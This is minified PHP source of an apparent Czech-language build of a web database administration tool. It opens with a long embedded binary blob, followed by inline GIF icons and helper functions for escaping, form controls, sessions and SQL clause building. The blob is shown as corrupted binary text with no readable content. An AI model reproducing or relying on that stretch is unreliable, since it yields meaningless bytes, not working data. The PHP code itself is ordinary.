lY͠74+k+\0%S`>I3Af:]4`/pҮ2I<;P,3D{\rx\r.YOo,g<\$!;(@,6KS=[.%f+k \r͘[͠0S筧5@\"H%f)*|s4vOtTW5mLI}:`cn+2 iͩ BP`Ȃ\rl=M\rDҩ\$c\0K</\0Ha\"˹5@%%R27\raf\rc+\"??8kv),l/͡/8|8 gij:,K;-s<:gD3:H\\28\"M*`@0=;Y& Հ\0\0>'5|9\$Ӭ~863YxS\"ldz-s4NP7|,N2\02ˢZA\0hʲφ=D,|5=,(<⌴C>Ops}ӨOv4NOY=0S*β%P%S_OH%TOC-`>N;aϺDrL:\nP8̛\0Ta9`ag۞Ηl a8y/Ja5Gv2C\09Y\0 >\$HL#͏@ܳҕY\\r?OSPD 4{88,M( 93<%4@~S::\"3ToA+Pv\0an2X <\n3P-S|2K6ҲsM Pc1' U )^X40L1}\n/\$Gp!917k`hO:2Y8!CL@:s:3PbI7D.a+2\\8ӻ:#C6Rٍ|πQ\\_Xs<mnw9ع 9b859A\07\ra\"\nh[jF)+IFmi:-[n*\rM?@\0Tj\0`ciM`@2F\0002Ѵ%U8QG&Qgd?pOE:\0004,pp 3\n>籘|Lf<Hm!_]p;PjDP\nKntI\0\r-pJc7P32-. 3'URq+Pޖ\r,O,҉ӴO.(|cRj[sF`rN,.7~:l.R.86|\n--)rDQK,I.RKt1\0K4/`,Iы-,Q.ȋ-4SKmKL%04KyK3ԽS: ]2tSLԭ@2S9ME+R+/tK64Sg/S9.cSv^0KOy}J%3 43R/i|#i Cܢ\\݊JKx #vh݇}LN+n,8B;\$HS4Hbb7`;N>%=;m7H)H3YF?bTHuA2F:e>4L;lRʘtTPq0#GDsր5ybG\"iPEݷtKA֣55yBFXIQe=#4Y5\"C3\"C9+-GsO`HԊhQEV]DT2p6_iP\r+p\$57C7`0>7 N=Q!Q@8TaJRBsAT1P%=@ԝT}Qu7`@3P+U4FU QB\r+E\rGR \"\0HT5&SQ#UuO 64|ï(Q;'Th\rI=wCMEՄv:UdF#Lh*7ASM>uqD.;uF(}D!+!.aO\nN`(5\0TxjX3(!Շ\0.U`XUJ*\0:Xn7KXM?@7@VhuVXQOaNEM3\nГ.c\r#!O_\n\\;ΉX̠i1?=E\0\rc}9cy\0U\rȃͤK)O^MYT\0C2a:YXV\$LbB8e@OSPCORYT\ro)\\o+U)V3t7)Y?˱YrM1T\r%\r[iV%XM%Xt?WF#bTM]uvo9wV\rBuU]cT^\ru 5XZLNK6`(PCA3\\97D#AK==@uS;MO.~ީfJyG]A358nV9y\0.Z%n\r]>\$!LGZ>S`V8[X8`5CWx5\rXb6_[9O]\",`(\r>e\0X@`5`X>\r̓ؒ@bHuX 3x.ԍ;N%v!P``7]@5]J7bEWW8FJ68SX5v:XlsbT,tWjpa\0WXQ߄-PWCj\$@P2%UW!dlӒXX5ݬ\r!6YX=\\7!;XHXeזo_/aw^]xN^P+VaeUJY[A;\$-8\nYJX}!N7QˉrW!_lmNP|V\r\0֜K5TЈ\rݞ-5MrYZI\rלMT_c!c\" P3}~'q\"UTkN4}P3;Yh3]eEN,Xʂ6YP}u\rcO+3x~6O\r+Q;`Ilt<d+6D\rj 0GpqV[;`\rU2\0|T\\Ъ<%[M5vH\nâg^`c4E\\Y9h5T+3NkZ,F\nɈNIA5 ClY2k~PL#6Y+\\\0 aChӶR ӌԿ,-+N5\rR3A<Ҩ˓qmܒ^|1 m6֒`+sO]REQETښ=LIub۬MQ 5 č?_+[Ok۶\$VH2ud۶e&`2\rWbo+V5p5\n6[Ug0m٩W(Aݻt\$Y]A3\\:>vT%UwSH<OpvVJUqQ-ZkMvխbqqJ֍M]-_:pB2qU36EnͯbjR=R}Gw\\Tpe]M/s(ZjuC\\1[ޖ+(+XUQ\\3bsSܪЦ!ZYF\0Th#]8O˙m*i4W.but``!Dju_LtWjR\\QԴEmN7QNa04UR]vsuD ]Ak%T!RM\\wW=4ϵRS9?]uL,]Ja@u%@T7wf4%T[T̤3`ւ;To]Av5\n8Auboݭ+EqTu7|=nNiU'wJwn\nQw%av DW\n eVT)v^r5Kx\n@ (\nb-\\IKUqܪs%xeVKu7z', M.&xAA@7rUJuOybt]\0\$-U-w>7hReڶt=p`h@:x/YEq8U)p;{͠UeOZ5Ms5wN\0b!Lw{erJ0_W]w>\\DhU\rT/h%lU}WlV2&LP9zAf\\5F\\M٣U8*OUj5xd6KYN5M:Mr`%(}sobu߭oNy[^_~!oW%_P)?RQ2qY8]wDVߥ~s(d7QuR6BR\\|-\\xOKZ{b֔[+-W/ʁVFQM{ŧFpwBkgOeU9!\r ([p(뇪=TzPjȔ˹Ԋ^hk?JJHqU\r7XNt!d36软\n3r\nw@4B\r>`cJ3\"hf\r3R#vQ<4!0`\r8Es@9'^A\"M;a=9@( YȡńRʀ^\nQ\02SfaTLV Z5]Vمڰ}W26W6:2чN,a&}6Emn:0-{:aja暩Nf7FX<,8@۵sǭ^N!4b0j<A-jc:ks\0Db6+X^%\n @ <l{^`9\0͉<[ZOc^XmX^a9v᷆39HNpd*u\0 @.lDm8BDm-hԵ6u,: <\\%N50RF@ԻQMX4)I!ax4&ؽK8)PjӤtQPn\ne'8E,KI=@[cd?DTRvE0dSQcY8\r),9U@1'4P0D\ny |^AV6opPZhE<PAAQn>\\mA|0A aAZyXg0fPacBq\0d1ÏB0\$'YA)l8>Fy\r;ѹLq%4}dQqsLtxK<QGM\$s=ْJK87&?\0PA\$ 䉐FJ^B!YťNHd(?,YD\"I8YʃNA;dD<&'=Y? pǓ,G\"0B~H/|<ptc 6JRd\nd\$.C 6LA 6LMPQ_\$)d\rBg}_\r'@A Pe8vEe 6Q Bi;BTQ¡tȳEP5)#f6sɝ T0.KG2\$eI@r4H]GpDLQ?ʃYZ@14?9 kD}\rbOCQ=5dKfS>ϗCK?u?SK/S^4(27*SFaf2\0Q^QdHFǗfʖT\$nR+/5]FT`ʽ2NmSP%Q3S>\rIB䓓E9I\"NZ \\KQX>d3<Ӝ#%:,3%8\$!'\086YOs'3t!4CN%abP\$[03d-7LslM==s:՝ВP\0f+Xr9gP@̷\\xC6\\Vy^iI\"TU_4NM`wSf6fwSO3\r#<O7VQ;/וJq ϛ=ʩ\$>Lb(8fY:!ΝiV\0\"9R\nbߡN0XhS7`7&)90 ܫiX3NVeF%9Ś{\$p(,sA)I-Y_EBh.IVJ5 ,DbT8˹+M7xgJ#|v7]<:\0mxz;^p/s-ECAc3)M)F,'GR8_~O:Mkh_f3˷cY=fHQ%S<>m/Q+PBДCY+R4-i}>Li`3C9tH]e:fQQff\0\";REח7gE7Vm5MEZQz-]iק!p d'}H*4Л \\uY|UyM3+KV3^/X9z-RIpN&R\rHT\09+U@4WڬXEq^ݘinLXسY֫1~jgjƧսΨZzzꇞ j9P^p\r5gݞeRM_w6jV:jjj3RE堆¢ jQ;3Sj`B.yiO<o8T/G#:x hY{\n?V*A}9RT]pє\n :aֶK~e.\0Kj+!EZ%uDo,45JR0eEz#ZgNCeHa+kRuajQ}F3CgrU+:R'YrkH6;\0HM=zװP\"Ts5]zr{}4ҷJ\r?vmTA磱0\rC|[l3n<-UJf\r^Wgv8.NCT.Nc04=AOU~-puױ쩲rSf`z)0Y>˗4ۿJC{4l\nZ-iE[6Uv(lT 8Jlǎ-ԁ@ЕR_fͻ=l&XIIǴB-OF%҅-\0SN-S].8\$]uT.z̑%Rmg}u1}~g\\B[3r\r\r<P״e8mV`2MQb:13.\$ޱ-&\0 z4H5|մO6ͺP-DS%?NVe{K*5ӤeRs_mCv i7WJz8=\0hqUt5g#m+,=&3uǥ')R%UXi˗1SE`DSG\\T[t<XfIM;v8َ`.;c8^V:MwFx\"NnL_{PBIWYWuZ+r]akMSP]iDTϓ1HJӺ,F\0\0>˗-nR3=;L͡7]f#wn fX\":-}Sg+\nM[@Twډ\rb{ڸ:5{|5;Vʾ!=MǤ!&<~!=LhMu{Db.W73\r:Om{e֕x O7ݭ1qoS-VGaP}>PC!P)b#sn۴Ek}\r\nl0!Mg+\r=`/R5#aTyU;ԞnךۄaT:KoZttmt{mT=Hӭ]GWf>9Ȼ{apa{I7{S\n\0ute;|{-ڳ])\0\npMZU¹Q,ZԻVpT/@K]ZaYH_C͐_] 3^s{[<\$7?X4f.RMU+vce]@xm83%\\M;~Wzaj%wt,WT2s_\0ba!@ڛuG6ſw/bC>q\\5b~<g1pҸQN*%=+8y8&i}6Dq3:Mt]Hs,&T+8;:lB T/s!6M~==}E:\rA{~s_3vo>؏{,c\rIPڡA%qO&h6/U֕ӲAӿѺUُ\rܡ'\\zUݗRU}r]ɥ]@5mrq-~ӜqŻ,.r|e@1\0XKˠ\"\0[s]Ŀ/Tۼ\r=SRE\\aCD\\]#Ns1])hϼɟ1D^,bmA\rNdn6Ƥw[G\0jߙHG{8-{P[\\eL+H_,#O'<VKtOo+MX3(4q\\9sy՜Z<%XZQ7P zEʕi[%}xӐ\n,(K/̡nxh|4;@8`僩\0\0'\$a(E[@I2yxBA'>l鏼44c>?-\0004\04`n<aDa̛F?KP]'SxW5^nPhoRᡅʄ⩆OPv[sIX_ἒhH\r6`; U{j0ٟL.0دL5\"2^-ֵp\$ΰ71Ct_L. tݏO},?Pn<==kU1W_H)\nҦPU\nc+}/J\rL%ѫpXkV۟}+HݯSMQEp\r=Է75HY(===TpF<c\$R9(FR4yJ\nUefYe\n.Q\r)ɒ ||071.DϏ\$P. \n?%#Q%G4gQDdQ阻Jg*\0p8 \0Li@gKts=@[Y?yسޯv4pScѮ=p^HOnx\\Џ LpPf\nR.u:Y'dNOѤƁFiFdjЙCly=OXݫ~1G+Epg4WN{k,W-r LhE ty0H)\"MBT0tzhG5%¿%RQCs\"D]`>J@THH\"̊{I{F]Jpi;RI\$I%<0hIe|RWn[q=&BE#e%7VɓLsGF?|E]{ a9ʚ\"3pu-S7!36\$>є H*slvgޕ2,f4.k;SNԅ>\$&ZBwfw{L<|ophKwHlMhRMϠw=&YΓl@#ء8ViuE5M䄜\n6썂4]_igXB#~\\th^G4N֎gs5RײհՅjogRHF%Sܕ6S/\\̵)G9@ng!{Bn.SZTl@3uoCŦ]t(7rGrNM\n1g\";xYk\0Dlu6 &_~Σ>]V6jeȊ^26 lh+u~Lwטuޮ9З6UE7̶Փϓ+s-̞?G)'qATA/B\rχQɂa5ϡLUIMf7=Ӹ.ۅ_.҇FzoR&_rH`_ÿdNJ~\0n *5>n\0g~\0pDU d\0l\0h~zzz~z@^\0OXmw@lZz뗩^z]O_>kǰ>/^z\\>>z]@@zO>z\\^7~z`p~\0g쎍\0az韶~\0ogz쯮\0&\0w/~zϱze뿶>o`N%>{돪zw^ϲްz7\0\$2 zKg>^'^z߹q>q\0|O{ޮX>~J~\0k@I|WP|7>z|=kϦ@zmǧ+z?w駼yʀ{=뷫'~{\r_&|=צ^{?@z?2{z{|\r꿷~zu`\0ig{闬q8\0i퇱}5?.{^/\0}~&־}kžgWξ!Ο'_}|OƿOz:4{317}Szw930?!z{W}e7g~7ş%>|em&mǺ4z8̟[|'~ Ӟ^}X|W{gПנW@\$>Sߏ| ?~\nſM|?^ǣS?Ez{1_i}7ɟOK+dzi~>[\0AK? ??D| 2|ͩ~Ϭ?E|Y\$~?}'G_>{1?&IGꯩi|ag'z?_?{yzw\r~t>[p=|eWl_;=x~UO瞼?L\$\0_o=}`پn;뇼_?ڧ{x' >u#Oe?b}w_5=~C7oX̽{\0x=k]k_?R{zU~xuoa?(~g:>}g_h|\ro͠)sڟ)'\n`>~kg>6|\0#w/l?}vW/^={g,Nv_;oM@s{ ǿ|IS@I_c\\| \r/_~~Jڇx`F|+\r?z 2J@\"}x`2=p{ﯿ_\0@u{TڧH`B?)dO_=5~=\r=eP7_>t{<Q4cD=~}zC 4N?{j0&_|t[FOR_@2HėGO_f@\r}W\"`=| ,ݏ~vCg_`\\;|r3; =m{0ϳ p}H0ky#⯮~k\r/_m=ည/A|K{xoL-zIG{,' ^=SESU`m?X&{:V]/GJJMۗ=-kxO<qA\r,^ݾ|nX;_O)Jz߇=}'OX{c1Razn2Q#|THȳC?J 0~\0 x2F+ 5KĎ\$xrFu 9FdW!+QEhKK@U*u)VT}vJ,nߏ:{uJd(:]x;)c\n4't >4jR\0LKZ\"OHx\"(EL\0\$j':&KEBbh1t\0dn}|*wil~Iz\n`QFI m\n0T\0\n;Еa2@>Px!C%P~Qa fÂB}!l9)?IVR'RǥsRrl.c!u#C%c4gZpBKFp+'o?\"{D/ C>- &`=\$8=1'fZ\0Cb<6ZpŏfƂA5W\n\$)trb@jǑ@9D33FaOf1 \0tDdXLҡL3yLYW0TA\0?6\rN.\nhPAw>\rQT\$p0O˞d\0II*b#c(Y!#F8l?\"8Sa'C.X]aW<rZT`aQ{ i,*0%\n3E \\*Z¾qu \"Fh(T&(@(FBD \0P'\$HlaV2!C p,;6/zjx~l҃#tJ)^zXÎoH-7Х:[`RM(6=LPLfI\r ݡcbQfZ-ѲCFx06c\0;@#%: s\$Eh@!\"A1jPш +#Ҍ+4b(J\nz!21 *a\0&\"dJA*N\0,G\$FS b:eF|M3 t\$ȇ̕>¼l%;FQ0H8\"c\\i!]9ex(zόI\"OT(\"j~(y\$Dtv%r9;&!\\J\"d'8jc\"Rj4 OEpD~SALI&;(2[HIN&ğ\$|F\nLe Ib v%\"4Dn\"4C^(DZ0ChL{TK&Q11!䖑3ٌ-~7BaC~F4H.!?jG>'bHF1<~ ڈ|>'T==^'|%x:A :XV!Ed\$eqCb(Ȣ#C,ȠDhB.\$&D,ARIPD;{+`UulDb'C) 4EC1vV\"7(I0#q`S\"@DF#lE~\0(eI*{8QDD|-|V\$abN^ʐJ<葀aPDe>\$IHJ?2|4U1)P`@E>%\\Jb1??ȕcYNDAQբ^E\n(jh)ODŋ<q2\"d`E:*|M%1Rhr&!XQ7D1R(\"Ŋ.Nض]D%Bf*zFb=Eщ.Y}utt]Hi4GV.Sءq\"\"i> #_paŦƽ/Tp\"yC.RfW7\"\0)Wr!#Cq<`0b¯c\rG6 ڈ0\rJq%:>F#<bc[bƮ#qK+S\$X1?b>/mH8q!aQ\$HOD\$Xb4BD~%c&8ϾE[ewj1 ڋ5YKiH0_E\r-#\"Fqb+E1(Iw7<gD[IPbkLq[o#ƂiK\\@gP`fdiq4Fd,3\"E؋.V8GF\n/jq6JAN\"|F\"2#e]\$_~.EBMh0a<#> Yv4b#B)!\0 idHD;\0/ALHgCֈ}!8jbuE \$@l+D]qƶ\$[\0+FE\0jGTr\0M>}3hSG~H!\0CN\"e3c36\"\rXM%D#| B>04慄sHgʦ;K!0,p y.BlHPxZ1bD`@,3茨cD;h(G\0䠆wPEv?AQv6vh vrv+GxGN9xqCn|dl5(ǗL[\n*\0(WG>HTV@&o#%81G\"c8 uvg+zm#^~>\$PDGk\0qwv̇G\0(j>l\n>|39u#7@\"s\0Q\$\" <~\$]D-M8` QA?jO`Pu=QGA\"@J& \\pbH\$ '|~\$kzDR!H]T\0 j2kP\0/G:i6R8BщA̍[bǀDY!7xlѢU\"p<A\n=dh(2Lh3h#&JLPB:h\0¢0F@Z4P8k؋\n*04C%D)*aH=bGY谀)R@!,DtaCh\\ņC`ñ{Gw\$9&ʬ\$T@F~0n{J钔c#Eb\rP:1I22D2\"BWsa͒I#*cd55I@l;#VGQ\\\0(I.4NXs\099s!JH0c'ÐLJ8)1N9 a@(4\n3\$1s!\$\"\"LyH`n KDԈ5,z`\n\0\"1eԘI\$~@ LFx(\nК\"\nDI|wH[C#(T;<|>/xQ;滊D1ȜF@A2>8i@9Ŋ'#EXF5,;DREEUKQ8N2Xhd\0y<n2DH%@vA*\nDiRZ(]>\\JJ2 Er) \$:YxQ?U=7CoH[@=I5Xƒ&4;E%iܟrv&T\$ vF&<2cFDlԁI5HD>D S\$&ݑDnXwdhu#5O<zhRϑ\$;6:A;Ln&EPV7|Ф6 d8:P ]{\0P(*6567\nU2Ԭ*r/韠R\$0yPIǠ/B\0\nPX3b\0.&|l3ҍ4:<h贡Ω\0+t\$qA0@1d\0^ ,\0]x(IXd16BR/\n\0S6\0005SX[YL/xe7`sPYN28m>ScYO9\$I*S)'ʊ{*2S%9JBST RJ9\$\0TbRReLJp5*zSQeU@*S'XJ{d\"UlUOl^JJBUp便^V\$eҦecÔ+TLIRSJ\0+St Q%PJڔ+U\$IV2Tޔ+UdiYsJ+U Rr[4VdreqJ\0nVXR+X ]2k=_,2Wԫ9^%=w,BTliYR%jʉ,\0UTi^%ʜ+&YYdj%\nS,>X7㥗I)Y dԥc+Ygޗ+ZZ,i_2e:1)Z,9ir J)c` KN*&)kr%KWsQZykʥ/,[h\\*IaeJ-z[Twإ=:[L9moKý,-\\e-[#pﮥ˄YnO%1-ŲѥK+]\\ qNj%˞.]0c.]4\\eːt|l xRޥ?U*XDvҵ˹}.\\Dq_\nڗ/^]ܹ9yˢ\n.^<yu˲)Ī|q{/ +iMexʥ+VlRK{/^ \"|K/^T ĥL)0`\0L-0`%L\r-0>`\\ s\ne8@ZԿsf W0`Y\rfL2Jua@`_D>z[1a{֒SD=-:_cS8hbo7pf1\0sz0b~ez.R`7fLt1`)3Ut1cT9of7=0`\\f0dl e>CdِS̗0ys`L%2d̬5/ɓLG1iɔ.&T{11 g1i Lw32e3ԙ0MdI*Lԙ1I8&hW|=1+Ή}&A3l\rI\r !3_I&}LPt @%M0^h4G3:%L8:fӒlSC&q4=ΉSCM52\"h93;fMrhy_&M;1*i3әSL^יڜJgCY3<懽s4U3f>1j, M<:j<ҩPG3d4G:M\\ɢ/fLz1, |NvL Z}.k֧/[=ݚ5^gɉtL5|/Rfezr.l,)`&̭hgDb&Z͗2lsffM4Ή3j&͛Q5fG:&lͲ3vm93l=JTXR@lPiǽsp:M1a4V(oNLq_\$iB&\$Mۛ46iݹ2&K䛡.:ntљFؗ7\n\\Ifz7 fːpNP#P\\%\$\\̀S\02fHY q5(R#41\$H\\d w>}%t%|f'@ҞFʏqUMqqƚc4Nǐ!K\06TNRc.Ik_Q]b2\$?9N580 gu\">āD)jsHacµ\"#B>GqWY(#fg-S=b;F6@rdy'S':)&it%9pQH>7N8eFTĽJqqE'&%A8qs'ha(9Ƴ'YD#G&4֑\$Ƞ@:(<(htEd\nGyF)9)O \n\"E\$suVH&2{;f/(cFh'\\Nx6\$/8iAIr ^tS'E] s_vS}:܌r{>Vh9#*)ӄ\".GkS~ޝ18nx0 3!D\"{ju?GbNC8yxsǧV^g-/IsǧɑBM:q\\wgEw9\ny/9(>eöe~zrb9D (|^VPnbEBxw\$ShNu-e,@\$1Ν{@lXzhN!SvET8\$d!yvKwh\nYxC=\nI\$aCj\$U3O@QP1dHRfܙ7g6ҦsVd)As}29%?sL''\n@z~%'8RZtkp--A\$S^~uT!+q\n̗\"%LTb\0g)p?Y4LOQw?gley鿂HWS9ִkpQ?C2a,d6̀bq\0OY\"^8\nJ\nH.([]D.jY.Rl5U\\YwRQF\0d4\0dh\\ho\r*CP9 a?袅I T`;`@JXP@n@.ƔUM럘0pjP[k>m;L֡J\nf{EV1]83\rPs5]8\"%mh=(WNјTQӱ}K֖q!D2lMn64״Dz-NKŜ*_YB=O\"ӵa VhA g\$jZ\0+ nL`K\n W/P\\`VJ-еMnhZ|`=<9abTrW<*p۴!PR,Z66Gܧ05F8=WCN6EtM <2p9eM\$ݑCUܵAEEm;D5[\ntX!Ces@=.QW!7@_# (s:]EAJPQ*\0j5IU\0ob)Y\nnL3D҉\n(@4T妢 M5(MB%}{MӵtTAQ4+\"MIQ\\oAJ\0^JphHwPU qDd:a&ӀO|(\"0\nWH+nD'hތC:1;Zt2j\0006mFmVRl㉀\0Fmc0(7m5jv ğF4[2]vюQfӮN&'HQȡlU<0z9*wA/u!G9_5\n/[w\$\n6TrAQ\n˭sϬ\nz2*UKZ\r,Z}C%Z{G\ndC*Ѡ- 64Yi;HU.@RG=M\04o'H--Ps@s¨n5T(jPȤ4\r#S*(P=}G\0,Z\0TZxO٤ )*rQ5IT\n,T6CfP}%bIt^@FyF&}TjR\\,B60k\$ƓAKN:9x;:t CLί]!RJ.R9I`E' (\0Sr%\0L\0*H\rրGQ1\n+JBRk̸85%ƘmrH4Ai_/ĥJX-+3t)c\0@ \0_ICwN!lʔPE'R춟Z(*ި\0\rQ]bHM M3+%M\0@+T!RDsا0");}else{header("Content-Type: image/gif");switch($_GET["file"]){case"plus.gif":echo"GIF89a\0\0\0001\0\0\0\0\0!\0\0\0,\0\0\0\0\0\0!M*)o) qe#L\0;";break;case"cross.gif":echo"GIF89a\0\0\0001\0\0\0\0\0!\0\0\0,\0\0\0\0\0\0##\naFo~y._wa1JGL6]\0\0;";break;case"up.gif":echo"GIF89a\0\0\0001\0\0\0\0\0!\0\0\0,\0\0\0\0\0\0 MQN\n}a8yaŶ\0\0;";break;case"down.gif":echo"GIF89a\0\0\0001\0\0\0\0\0!\0\0\0,\0\0\0\0\0\0 M*)[W\\L&ٜƶ\0\0;";break;case"arrow.gif":echo"GIF89a\0\n\0\0\0!\0\0\0,\0\0\0\0\0\n\0\0iӲ\0\0;";break;}}exit;}function
connection(){global$g;return$g;}function
adminer(){global$b;return$b;}function
idf_unescape($t){$Id=substr($t,-1);return
str_replace($Id.$Id,$Id,substr($t,1,-1));}function
escape_string($X){return
substr(q($X),1,-1);}function
remove_slashes($yf,$Fc=false){if(get_magic_quotes_gpc()){while(list($x,$X)=each($yf)){foreach($X
as$_d=>$W){unset($yf[$x][$_d]);if(is_array($W)){$yf[$x][stripslashes($_d)]=$W;$yf[]=&$yf[$x][stripslashes($_d)];}else$yf[$x][stripslashes($_d)]=($Fc?$W:stripslashes($W));}}}}function
bracket_escape($t,$La=false){static$hh=array(':'=>':1',']'=>':2','['=>':3');return
strtr($t,($La?array_flip($hh):$hh));}function
h($P){return
htmlspecialchars(str_replace("\0","",$P),ENT_QUOTES);}function
nbsp($P){return(trim($P)!=""?h($P):" ");}function
nl_br($P){return
str_replace("\n","<br>",$P);}function
checkbox($C,$Y,$Za,$Gd="",$Fe="",$db=""){$J="<input type='checkbox' name='$C' value='".h($Y)."'".($Za?" checked":"").($Fe?' onclick="'.h($Fe).'"':'').">";return($Gd!=""||$db?"<label".($db?" class='$db'":"").">$J".h($Gd)."</label>":$J);}function
optionlist($Ke,$ig=null,$Ch=false){$J="";foreach($Ke
as$_d=>$W){$Le=array($_d=>$W);if(is_array($W)){$J.='<optgroup label="'.h($_d).'">';$Le=$W;}foreach($Le
as$x=>$X)$J.='<option'.($Ch||is_string($x)?' value="'.h($x).'"':'').(($Ch||is_string($x)?(string)$x:$X)===$ig?' selected':'').'>'.h($X);if(is_array($W))$J.='</optgroup>';}return$J;}function
html_select($C,$Ke,$Y="",$Ee=true){if($Ee)return"<select name='".h($C)."'".(is_string($Ee)?' onchange="'.h($Ee).'"':"").">".optionlist($Ke,$Y)."</select>";$J="";foreach($Ke
as$x=>$X)$J.="<label><input type='radio' name='".h($C)."' value='".h($x)."'".($x==$Y?" checked":"").">".h($X)."</label>";return$J;}function
select_input($Ha,$Ke,$Y="",$kf=""){return($Ke?"<select$Ha><option value=''>$kf".optionlist($Ke,$Y,true)."</select>":"<input$Ha size='10' value='".h($Y)."' placeholder='$kf'>");}function
confirm(){return" onclick=\"return confirm('".'Opravdu?'."');\"";}function
print_fieldset($s,$Nd,$Nh=false,$Fe=""){echo"<fieldset><legend><a href='#fieldset-$s' onclick=\"".h($Fe)."return !toggle('fieldset-$s');\">$Nd</a></legend><div id='fieldset-$s'".($Nh?"":" class='hidden'").">\n";}function
bold($Ta,$db=""){return($Ta?" class='active $db'":($db?" class='$db'":""));}function
odd($J=' class="odd"'){static$r=0;if(!$J)$r=-1;return($r++%2?$J:'');}function
js_escape($P){return
addcslashes($P,"\r\n'\\/");}function
json_row($x,$X=null){static$Gc=true;if($Gc)echo"{";if($x!=""){echo($Gc?"":",")."\n\t\"".addcslashes($x,"\r\n\"\\/").'": '.($X!==null?'"'.addcslashes($X,"\r\n\"\\/").'"':'undefined');$Gc=false;}else{echo"\n}\n";$Gc=true;}}function
ini_bool($pd){$X=ini_get($pd);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function
sid(){static$J;if($J===null)$J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$J;}function
q($P){global$l;return$l->quote($P);}function
get_vals($H,$e=0){global$g;$J=array();$I=$g->query($H);if(is_object($I)){while($K=$I->fetch_row())$J[]=$K[$e];}return$J;}function
get_key_vals($H,$h=null,$Xg=0){global$g;if(!is_object($h))$h=$g;$J=array();$h->timeout=$Xg;$I=$h->query($H);$h->timeout=0;if(is_object($I)){while($K=$I->fetch_row())$J[$K[0]]=$K[1];}return$J;}function
get_rows($H,$h=null,$m="<p class='error'>"){global$g;$pb=(is_object($h)?$h:$g);$J=array();$I=$pb->query($H);if(is_object($I)){while($K=$I->fetch_assoc())$J[]=$K;}elseif(!$I&&!is_object($h)&&$m&&defined("PAGE_HEADER"))echo$m.error()."\n";return$J;}function
unique_array($K,$v){foreach($v
as$u){if(preg_match("~PRIMARY|UNIQUE~",$u["type"])){$J=array();foreach($u["columns"]as$x){if(!isset($K[$x]))continue
2;$J[$x]=$K[$x];}return$J;}}}function
where($Z,$o=array()){global$w;$J=array();$Qc='(^[\w\(]+('.str_replace("_",".*",preg_quote(idf_escape("_"))).')?\)+$)';foreach((array)$Z["where"]as$x=>$X){$x=bracket_escape($x,1);$e=(preg_match($Qc,$x)?$x:idf_escape($x));$J[]=$e.(($w=="sql"&&preg_match('~^[0-9]*\\.[0-9]*$~',$X))||$w=="mssql"?" LIKE ".q(addcslashes($X,"%_\\")):" = ".unconvert_field($o[$x],q($X)));if($w=="sql"&&preg_match("~[^ -@]~",$X))$J[]="$e = ".q($X)." COLLATE utf8_bin";}foreach((array)$Z["null"]as$x)$J[]=(preg_match($Qc,$x)?$x:idf_escape($x))." IS NULL";return
implode(" AND ",$J);}function
where_check($X,$o=array()){parse_str($X,$Ya);remove_slashes(array(&$Ya));return
where($Ya,$o);}function
where_link($r,$e,$Y,$Ge="="){return"&where%5B$r%5D%5Bcol%5D=".urlencode($e)."&where%5B$r%5D%5Bop%5D=".urlencode(($Y!==null?$Ge:"IS NULL"))."&where%5B$r%5D%5Bval%5D=".urlencode($Y);}function
convert_fields($f,$o,$M=array()){$J="";foreach($f
as$x=>$X){if($M&&!in_array(idf_escape($x),$M))continue;$Ea=convert_field($o[$x]);if($Ea)$J.=", $Ea AS ".idf_escape($x);}return$J;}function
cookie($C,$Y,$Pd=2592000){global$ba;$F=array($C,(preg_match("~\n~",$Y)?"":$Y),($Pd?time()+$Pd:0),preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$F[]=true;return
call_user_func_array('setcookie',$F);}function
restart_session(){if(!ini_bool("session.use_cookies"))session_start();}function
stop_session(){if(!ini_bool("session.use_cookies"))session_write_close();}function&get_session($x){return$_SESSION[$x][DRIVER][SERVER][$_GET["username"]];}function
set_session($x,$X){$_SESSION[$x][DRIVER][SERVER][$_GET["username"]]=$X;}function
auth_url($Jh,$N,$V,$k=null){global$Sb;preg_match('~([^?]*)\\??(.*)~',remove_from_uri(implode("|",array_keys($Sb))."|username|".($k!==null?"db|":"").session_name()),$B);return"$B[1]?".(sid()?SID."&":"").($Jh!="server"||$N!=""?urlencode($Jh)."=".urlencode($N)."&":"")."username=".urlencode($V).($k!=""?"&db=".urlencode($k):"").($B[2]?"&$B[2]":"");}function
is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function
redirect($A,$ee=null){if($ee!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($A!==null?$A:$_SERVER["REQUEST_URI"]))][]=$ee;}if($A!==null){if($A=="")$A=".";header("Location: $A");exit;}}function
query_redirect($H,$A,$ee,$Hf=true,$sc=true,$_c=false){global$g,$m,$b;$Wg="";if($sc){$wg=microtime(true);$_c=!$g->query($H);$Wg="; -- ".format_time($wg,microtime(true));}$ug="";if($H)$ug=$b->messageQuery($H.$Wg);if($_c){$m=error().$ug;return
false;}if($Hf)redirect($A,$ee.$ug);return
true;}function
queries($H=null){global$g;static$Bf=array();if($H===null)return
implode("\n",$Bf);$wg=microtime(true);$J=$g->query($H);$Bf[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H)."; -- ".format_time($wg,microtime(true));return$J;}function
apply_queries($H,$S,$nc='table'){foreach($S
as$Q){if(!queries("$H ".$nc($Q)))return
false;}return
true;}function
queries_redirect($A,$ee,$Hf){return
query_redirect(queries(),$A,$ee,$Hf,false,!$Hf);}function
format_time($wg,$hc){return
sprintf('%.3f s',max(0,$hc-$wg));}function
remove_from_uri($Ye=""){return
substr(preg_replace("~(?<=[?&])($Ye".(SID?"":"|".session_name()).")=[^&]*&~",'',"$_SERVER[REQUEST_URI]&"),0,-1);}function
pagination($E,$_b){return" ".($E==$_b?$E+1:'<a href="'.h(remove_from_uri("page").($E?"&page=$E".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($E+1)."</a>");}function
get_file($x,$Gb=false){$Dc=$_FILES[$x];if(!$Dc)return
null;foreach($Dc
